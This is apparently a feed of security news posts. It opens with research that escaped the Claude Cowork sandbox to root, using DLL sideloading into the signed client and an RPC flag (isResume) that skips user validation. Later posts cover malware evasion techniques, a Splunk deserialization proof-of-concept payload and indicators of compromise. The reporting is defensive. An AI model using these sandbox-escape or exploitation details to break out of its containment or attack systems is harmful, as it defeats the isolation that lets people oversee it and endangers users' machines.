Although the attack requires local code execution on the host system, the research demonstrates that several built-in security mechanisms can be bypassed, ultimately leading to full administrative control within the sandbox.

How Claude Cowork Protects Its Sandbox

Claude Cowork Sandbox is designed to help users build applications and automate tasks using Claude Code within an isolated environment.

On Windows, the platform runs workloads inside a Hyper-V-based Ubuntu virtual machine protected by several security layers, including:

• Hyper-V isolated Ubuntu VM
• Authenticode-based named pipe authentication
• Bubblewrap sandbox namespaces
• Per-session unprivileged Linux users
• Seccomp filtering
• Domain-restricted outbound network access

These protections are intended to isolate workloads and prevent unauthorized access to the underlying environment.

Researchers Found a Way Around the Protections

According to research published by Armadin, the attack targeted the CoworkVMService, a Local System service responsible for managing communication between Windows and the Ubuntu virtual machine.

The service uses a named pipe and validates that only applications digitally signed by Anthropic can communicate with it.

Researchers attempted to bypass the signature validation but found that the authentication checks correctly rejected forged signatures and invalid trust chains.

Instead, they identified another attack path.

DLL Sideloading Enabled Code Execution

Researchers discovered that claude.exe loads USERENV.dll from its application directory before loading the legitimate Windows system library.

By placing a malicious USERENV.dll alongside the application, they successfully performed DLL sideloading, allowing arbitrary code to execute inside the trusted Anthropic process.

Because the malicious code was running within the signed application, it successfully passed the service’s identity verification.

Root Access Achieved Through RPC Manipulation

After gaining code execution, researchers analyzed the application’s JSON-based RPC protocol used to communicate with the virtual machine.

The protocol exposed several methods, including:

• configure
• startVM
• isGuestConnected
• spawn

While most security controls continued to function correctly, researchers discovered that two parameters—isResume and allowedDomains—were forwarded directly to the sandbox daemon without sufficient validation.

By fuzzing the RPC interface, they reconstructed the parameter structure and identified a logic flaw.

Normally, setting isResume to false creates a new unprivileged Linux user.

However, when isResume was set to true, the existing user validation was skipped entirely.

This allowed researchers to specify any username, including root, and execute commands with root privileges inside the sandbox.

Security Impact

The vulnerability demonstrates that multiple security boundaries can be bypassed once an attacker gains local code execution.

Although Anthropic’s threat model assumes local access is already required, the research highlights how privilege escalation can occur even inside heavily sandboxed AI environments.

Successful exploitation could allow an attacker to:

• Execute commands as root inside the Linux sandbox.
• Bypass intended privilege restrictions.
• Gain unrestricted administrative access within the virtual machine.
• Circumvent multiple sandbox security controls.

The issue was successfully demonstrated against Claude Desktop for Windows version 1.9255.2.0.

As AI-powered development environments continue to evolve, this research serves as a reminder that sandbox implementations should be regularly reviewed to ensure privilege boundaries cannot be bypassed through chained vulnerabilities.

The post Claude Cowork Sandbox Flaw Allows Root Access appeared first on First Hackers News.

Instead of relying on traditional malware downloaders, the attackers combine trusted applications, DLL sideloading, reflective loading, and process hollowing to quietly install remote access malware while avoiding detection.

Fake Software Websites Used as Lures

The attackers created numerous fake download websites designed to imitate popular software applications.

Some of the impersonated software includes:

• OBS Studio
• DNS Jumper
• DS4Windows
• Bandicam
• Other widely used freeware applications

Many of these websites were translated into more than ten languages, allowing the campaign to target users across multiple regions.

Researchers also found that search engine optimization (SEO) techniques helped these malicious websites appear higher in search results, increasing the likelihood that users would download the infected installers.

How the Infection Works

Each downloaded archive contains a mix of legitimate and malicious files.

The package typically includes:

• A legitimate Microsoft-signed install.exe
• A malicious install.res.1033.dll
• An Assets folder containing the legitimate software
• A renamed ScreenConnect MSI installer disguised as a trusted file, such as vcredist_x64.dll

When the user launches the installer, the signed executable automatically loads the malicious DLL through DLL sideloading.

The DLL silently installs the ScreenConnect service and registers it under names that appear legitimate, such as Microsoft Update Service, before connecting the infected system to attacker-controlled servers.

Multiple Techniques Used to Evade Detection

Once ScreenConnect is installed, attackers execute PowerShell and VBScript commands to strengthen their foothold on the system.

The scripts perform several actions, including:

• Adding Microsoft Defender exclusions for entire drives and important processes.
• Disabling User Account Control (UAC) prompts.
• Dropping additional malware components into the C:\Users\Public directory.

The malware then decrypts an encrypted payload stored in secret_bytes.txt. A PowerShell script named cap.ps1 reconstructs the payload by decoding hexadecimal data, applying XOR decryption, and rebuilding the executable entirely in memory.

The recovered .NET assembly is loaded directly into memory using reflective loading, avoiding the need to write the malware to disk.

AsyncRAT Deployed Through Process Hollowing

To further reduce detection, the malware launches RegAsm.exe in a suspended state before replacing its memory with the AsyncRAT payload using process hollowing.

Running the malware inside a legitimate Windows process helps it blend in with normal system activity and bypass some security tools that rely on process reputation.

Persistence and Infrastructure

To maintain long-term access, the attackers create a scheduled task named MasterPackager.Updater.

The task runs every two minutes, allowing the malware to restart automatically after reboots or if its processes are terminated.

Kaspersky researchers also identified two major infrastructure clusters supporting the campaign.

The operation used:

• Multiple command-and-control (C2) servers
• Numerous spoofed domains
• Separate download servers for malware archives
• ScreenConnect configuration files pointing to attacker infrastructure

Based on domain registration data, researchers believe the campaign has been active since October 2025 and continued operating through March 2026, with several fake download websites still accessible online.

Security Recommendations

Because this campaign abuses trusted software and legitimate administrative tools, organizations should strengthen their defenses against both malware and software supply chain attacks.

Security teams should consider the following measures:

• Download software only from official vendor websites.
• Block MSI installers from untrusted locations.
• Monitor for newly created Windows services and scheduled tasks.
• Detect unusual DLL sideloading activity.
• Watch for suspicious use of PowerShell, VBScript, and signed Windows binaries.
• Monitor outbound connections to unknown remote management servers.
• Keep endpoint protection enabled and regularly updated.
• Educate users to verify download sources before installing software.

This campaign demonstrates how attackers continue to blend legitimate administration tools with advanced malware techniques. By combining trusted software, stealthy execution methods, and fake software distribution sites, threat actors can significantly increase the chances of compromising both individual users and enterprise environments.

IOCs

The post Fake Installers Spread AsyncRAT Using ScreenConnect appeared first on First Hackers News.

The vulnerability affects environments where OpenID Connect (OIDC) authentication is enabled. Due to improper verification of cryptographic signatures, attackers can bypass authentication and gain unauthorized access to affected systems.

How the Vulnerability Works

According to CISA, the issue occurs because SimpleHelp does not properly validate identity tokens during the OIDC authentication process. As a result, a remote attacker can create forged identity tokens and have them accepted as legitimate.

This allows attackers to impersonate authorized users without valid credentials and gain technician-level access to the application. In some environments, the vulnerability may also allow attackers to bypass multi-factor authentication (MFA), significantly increasing the risk of unauthorized access.

Because SimpleHelp is widely used for remote IT support, successful exploitation could provide attackers with direct access to managed devices, creating opportunities for privilege escalation and lateral movement across enterprise networks.

Immediate Action Required

CISA has instructed federal agencies to remediate the vulnerability under Binding Operational Directive (BOD) 26-04, with a deadline of July 2, 2026. The agency also recommends that organizations follow vendor guidance, prioritize patching internet-facing systems, and review affected environments for signs of compromise.

If patches cannot be applied immediately, organizations should consider temporarily removing vulnerable SimpleHelp servers from public access until security updates are in place.

Although CISA has not linked the vulnerability to ransomware attacks, its inclusion in the KEV catalog confirms that threat actors are actively exploiting the flaw. Organizations using SimpleHelp should treat this issue as a high priority and apply the latest security updates as soon as possible to reduce the risk of unauthorized access.

The post CISA Flags SimpleHelp Flaw as Actively Exploited appeared first on First Hackers News.

The attack is delivered through unsigned installers written in both .NET and Golang. Instead of installing the extension through an official browser store, the malware directly modifies Chromium browser files to install the extension and maintain persistence.

How the Attack Works

Once executed, the installer searches for Chromium-based browsers such as Google Chrome, Microsoft Edge, Brave, and other compatible browsers. It terminates running browser processes and modifies the Preferences and Secure Preferences files to register the malicious extension.

Researchers found that the malware recalculates browser integrity values, allowing the extension to bypass certain security checks on older Chromium versions. On newer versions, the attackers rely on social engineering or developer mode to enable the extension. After installation, the installer removes itself, leaving very few traces on the infected system.

Unlike traditional malware that connects to a hardcoded command-and-control server, the extension uses an EtherHiding technique. It queries a public blockchain RPC endpoint and retrieves an encoded value from a smart contract, which is decoded at runtime to obtain the active backend server. This approach allows attackers to change their infrastructure without updating the malware itself, making detection and takedown more difficult.

Wallet Address Replacement and Detection

The extension requests broad permissions, including access to websites, browsing history, and clipboard data. It continuously monitors copy-and-paste activity and uses cryptocurrency-specific patterns to identify wallet addresses for multiple blockchains, including:

• Bitcoin (BTC)
• Ethereum (ETH)
• Bitcoin Cash (BCH)
• Ripple (XRP)
• Dash (DASH)
• Solana (SOL)

When a wallet address is copied, the extension sends it to the attacker’s backend using an embedded API key. The server responds with an attacker-controlled wallet address, which immediately replaces the original address in the clipboard. If the victim pastes the address without verifying it, the cryptocurrency is transferred directly to the attacker’s wallet.

Researchers also found that the installer contains embedded configuration data, including API keys, extension settings, supported wallet types, and blockchain RPC endpoints. The malicious extension is downloaded separately during installation, allowing attackers to update components without modifying the installer.

The campaign has affected users across multiple regions, with researchers observing a notable concentration of infections in India, suggesting opportunistic targeting of cryptocurrency users rather than a region-specific operation.

To reduce the risk of compromise, users should install browser extensions only from official stores, avoid running unsigned installers, carefully review requested permissions, and always verify the first and last few characters of a cryptocurrency wallet address before completing a transaction.

Security teams should also monitor for unauthorized changes to Chromium Secure Preferences files, unexpected browser configuration modifications, and unusual blockchain RPC traffic associated with EtherHiding infrastructure.

IOCs

The post Malicious Extension Swaps Crypto Wallet Addresses appeared first on First Hackers News.

Instead of exchanging phone numbers, users will be able to share a unique username when starting new conversations. This feature is especially useful when joining community groups, networking at events, or interacting with people for the first time.

The rollout is being introduced in phases, with users able to reserve their preferred usernames before the feature becomes widely available.

How the Username Feature Works

Once the feature is enabled, new contacts will only see a user’s username instead of their phone number. Existing chats and contacts will continue to function normally, and users who prefer sharing phone numbers can continue using WhatsApp as they always have.

To prevent impersonation and abuse, WhatsApp has introduced several rules for creating usernames:

• Usernames must be 3–35 characters long.
• Only lowercase letters, numbers, periods, and underscores are allowed.
• Every username must include at least one letter.
• Usernames that resemble website domains, such as .com or .in, are not permitted.
• Each username must be unique, and users can choose to match their existing Instagram or Facebook handle for consistent branding.

WhatsApp has also added an optional username key, a four-digit PIN-like code that provides an additional layer of privacy. New contacts must enter this code before they can send a message, helping reduce spam and unwanted conversations. Existing contacts are not affected by this requirement.

Improved Privacy and User Protection

Unlike many social media platforms, WhatsApp usernames are not searchable through a public directory. Users cannot browse or discover other usernames unless they already know the exact handle, significantly reducing unsolicited messages and unwanted contact.

The feature is available across Android, iOS, Windows, and WhatsApp Web as the rollout expands globally. Users can reserve a username by navigating to Settings → Account → Username on the latest version of the app. WhatsApp also provides username suggestions if a preferred handle has already been taken.

The new system is particularly beneficial for creators, businesses, and organizations, allowing them to use the same username across WhatsApp, Instagram, and Facebook for a consistent online identity.

By moving from phone number-based communication to username-based messaging, WhatsApp is strengthening user privacy while reducing unnecessary exposure of personal contact information. The update also brings the platform closer to privacy-focused messaging services that have long supported handle-based communication.

The post WhatsApp Introduces Usernames for Private Messaging appeared first on First Hackers News.

According to security researchers, the vulnerability is caused by unsafe deserialization of user-controlled data, allowing specially crafted input to be executed on the server.

How the Vulnerability Works

The issue exists in the way Splunk Secure Gateway processes alert data stored in its KV Store. A low-privileged authenticated user can submit a specially crafted JSON payload through the Splunk REST API.

Due to weaknesses in the application’s validation process, the malicious data is accepted as legitimate and passed to the deserialization component. This enables attackers to execute arbitrary Python code with the privileges of the Splunk service account.

Researchers found that the validation logic fails to inspect all fields within the submitted JSON document. As a result, attackers can bypass security checks by embedding malicious content inside otherwise valid data structures.

A successful attack requires only a valid low-privileged Splunk account and does not rely on user interaction, making the vulnerability particularly dangerous in shared enterprise environments.

Below is a simplified proof-of-concept (PoC) demonstrating how the vulnerability can be exploited using a benign command:

import jsonpickle

import subprocess

payload = {     

“py/object”: “spacebridgeapp.data.alert_data.Alert”,

    “notification”:         

“py/reduce”:

[             

{“py/function”: “subprocess.check_output”},             

{“py/tuple”: [[“uname”, “-a”]]}         

]     

}

}

encoded = jsonpickle.encode(payload)

decoded = jsonpickle.decode(encoded, safe=True)

print(decoded)

subprocess.check_output(["uname", "-a"]) command during data deserialization. This confirms that enabling the safe=True option in jsonpickle does not fully prevent exploitation.

The flaw affects Splunk Secure Gateway versions 3.8.x, 3.9.x, and 3.10.x, along with Splunk Enterprise versions released before 10.0.7, 10.2.4, and 10.4.0. Splunk has fixed the issue in Secure Gateway versions 3.8.67, 3.9.20, and 3.10.6.

Security Recommendations

To reduce the risk of exploitation, organizations should:

• Apply the latest Splunk Secure Gateway security patches immediately.
• Upgrade to the fixed versions: SSG 3.8.67, 3.9.20, or 3.10.6, and supported Splunk Enterprise releases.
• Disable the Secure Gateway app if it is not actively being used.
• Restrict KV Store write permissions to trusted administrators only.
• Enforce the principle of least privilege by limiting access to authorized users.
• Avoid deserializing untrusted data with jsonpickle or similar libraries without proper validation.
• Implement input validation and class allow-listing to prevent unsafe deserialization.
• Monitor Splunk logs for unusual activity or unauthorized changes to the KV Store.

Following these best practices can help organizations reduce the risk of remote code execution and strengthen the overall security of their Splunk environment.

The post Splunk Secure Gateway RCE Vulnerability Discovered appeared first on First Hackers News.

The fake invoices often impersonate well-known brands such as Norton, McAfee, Apple, and PayPal, creating a false sense of urgency by claiming that expensive products or subscriptions have been purchased.

How the Scam Works

The Shop app automatically collects order information from connected email accounts and Shop Pay transactions, allowing users to view all their purchases in one place. Attackers appear to be exploiting this functionality or related merchant processes to insert fake orders into users’ purchase history.

These fraudulent orders typically display costly items, including antivirus subscriptions, smartphones, or gift cards. The invoices also include fake customer support phone numbers hidden within product descriptions, shipping details, or order notes.

When victims call the number, they are connected to scammers posing as customer support representatives. The attackers then attempt to steal sensitive information such as login credentials, payment card details, one-time passwords, or convince victims to install remote access software.

Researchers emphasized that there is currently no evidence that Shopify or the Shop app has been breached. Instead, the campaign appears to abuse legitimate platform features to distribute fraudulent content.

How to Stay Safe

Users should always verify unexpected purchase notifications before taking any action. If an invoice appears suspicious, check your bank account or the official service provider directly instead of calling phone numbers listed in the receipt.

To reduce the risk of becoming a victim:

• Verify purchases through official websites or banking apps.
• Never call support numbers included in unexpected invoices.
• Report suspicious orders through the Shop app or Shopify’s abuse channels.
• Avoid installing software at the request of unknown callers.

This campaign demonstrates how cybercriminals are increasingly exploiting trusted platforms instead of relying solely on phishing emails. As users become more cautious of email scams, attackers are shifting their focus to legitimate applications where fraudulent content is less likely to raise suspicion.

The post Fake Shopify Invoices Steal User Credentials appeared first on First Hackers News.

The application initially behaved like a normal productivity tool, helping it gain user trust and positive ratings. Once a significant user base was established, attackers pushed an update that downloaded and installed the Anatsa malware from a remote server.

How the Attack Worked

The malicious app was disguised as a document reader and file management tool. Early versions appeared harmless, allowing the application to gain credibility and attract thousands of users. After reaching a large install base, a malicious update downloaded the Anatsa payload and connected to attacker-controlled servers.

Researchers identified the following indicators of compromise (IOCs):

• Installer MD5: f72b1a333fa28b133df6476561142d6a
• Payload MD5: 61d25684e6f42e386f40ee60f5c54dca
• Command-and-Control Server: hxxp://162.252.173[.]37:85/api

Why Anatsa Is Dangerous

Anatsa is a banking trojan designed to steal financial information from Android users. Once active, it monitors devices for targeted banking applications and uses fake screens to capture credentials while hiding suspicious activity from victims.

This campaign follows a strategy commonly used by Anatsa operators. Instead of releasing malware immediately, attackers first build trust through seemingly legitimate apps. By the time the malicious update is delivered, the application has already accumulated downloads, ratings, and user confidence.

How to Stay Protected

• Review recently installed document-reader and file-management apps.
• Be cautious of apps that suddenly request new permissions after updates.
• Remove suspicious applications and scan affected devices immediately.

The incident serves as a reminder that even apps downloaded from official stores should be carefully evaluated. High download numbers and positive reviews alone are not enough to guarantee safety.

The post Malware Hidden in Fake Android Reader App appeared first on First Hackers News.

The campaign relies on AppleScript files that appear harmless at first glance but secretly execute multiple stages of malware in the background. By using built-in macOS tools, the attackers can avoid several security protections and quietly deploy additional payloads.

How the Attack Works

The infection begins when a user opens a malicious AppleScript (.scpt) file disguised as a software update.

The script displays a large block of harmless-looking text while hidden code runs in the background. Once executed, it uses the curl command to download additional AppleScript payloads from attacker-controlled servers and immediately executes them through osascript.

This multi-stage approach allows attackers to:

• Download additional malware
• Communicate with command-and-control servers
• Establish persistence on the device
• Deploy backdoors
• Harvest credentials
• Collect sensitive information

Researchers noted that this technique helps the attackers bypass several macOS security checks because the execution appears to be initiated by the user.

Credential Theft and Data Collection

The malware includes several components designed to steal valuable information from infected systems.

Capabilities observed in the campaign include:

• Stealing macOS passwords
• Harvesting browser data
• Collecting cryptocurrency wallet information
• Accessing Telegram session data
• Extracting SSH keys
• Gathering Apple Notes data
• Capturing system information
• Uploading stolen files to attacker infrastructure

One component displays a legitimate-looking password prompt to trick users into entering their system credentials. Once verified, the credentials are sent to the attackers.

Researchers also found attempts to manipulate macOS Transparency, Consent, and Control (TCC) settings, allowing the malware to gain broader access to files and applications without generating additional security warnings.

Security Recommendations

Microsoft and Apple have released protections to help detect and block this activity. Apple updated XProtect and Safe Browsing protections, while Microsoft added new detection capabilities to Microsoft Defender.

Security teams are encouraged to:

• Avoid running unsolicited .scpt files
• Verify software updates through official vendor websites
• Monitor suspicious curl and osascript activity
• Restrict execution of unsigned applications
• Watch for unusual TCC database modifications
• Rotate credentials if compromise is suspected
• Use hardware wallets for cryptocurrency storage

The campaign highlights how threat actors continue to abuse trusted macOS tools and social engineering techniques to bypass security controls and gain access to sensitive user data.

Indicators of compromise

Malicious file hashes

The post Sapphire Sleet Targets macOS With Multi-Stage Malware appeared first on First Hackers News.

The vulnerabilities, tracked as CVE-2026-41722, CVE-2026-41723, and CVE-2026-41724, were published under security advisory VMSA-2026-0004 on June 8, 2026. The flaws carry a CVSS score of 8.0, highlighting the potential risk to enterprise environments running affected versions of VCF Operations.

Because these vulnerabilities involve stored cross-site scripting (XSS), attackers may be able to plant malicious code that executes whenever administrators access compromised sections of the platform.

How the Vulnerabilities Work

According to VMware, the flaws stem from improper handling of user-supplied input within VCF Operations management interfaces.

The platform fails to properly validate and sanitize certain data before displaying it to users. As a result, attackers can store malicious JavaScript code within the application. When an administrator or another privileged user later views the affected page, the malicious script automatically executes in their browser.

Unlike reflected XSS attacks, stored XSS remains embedded in the application until removed, increasing the chances of successful exploitation.

A successful attack could allow threat actors to:

• Hijack administrator sessions
• Steal authentication tokens
• Access sensitive information
• Modify configuration settings
• Perform unauthorized actions
• Maintain persistence within the environment
• Potentially move deeper into connected infrastructure

Why Organizations Should Take This Seriously

VCF Operations often serves as a central management platform for virtualization, cloud resources, and infrastructure operations. In many organizations, it integrates with other VMware services, including vCenter and cloud automation environments.

Because of this connectivity, a successful compromise could have broader consequences beyond a single application.

Security experts warn that attackers may attempt to combine these vulnerabilities with other weaknesses or misconfigurations to gain additional access and privileges across enterprise environments.

The risk is especially high in organizations where multiple administrators regularly access shared management consoles, as any authorized user visiting a compromised interface could unknowingly trigger the malicious code.

No Workarounds Available

VMware has confirmed that there are currently no workarounds for these vulnerabilities.

Organizations are strongly advised to install the latest security updates as soon as possible. Delaying remediation could increase the risk of exploitation, particularly if proof-of-concept code becomes publicly available.

Administrators should also consider the following security measures:

• Apply VMware security patches immediately
• Restrict access to VCF Operations interfaces
• Monitor logs for unusual activity
• Review administrator account permissions
• Watch for suspicious session behavior
• Investigate unexpected script execution events
• Strengthen overall access controls

While web application firewalls and browser security controls may provide limited protection, VMware emphasizes that these measures should not replace patching.

The disclosure of these vulnerabilities serves as another reminder that enterprise management platforms remain valuable targets for attackers. Securing these critical control systems is essential for protecting modern virtualized and cloud-based environments.

The post VMware Stored XSS Flaws Put Enterprise Environments at Risk appeared first on First Hackers News.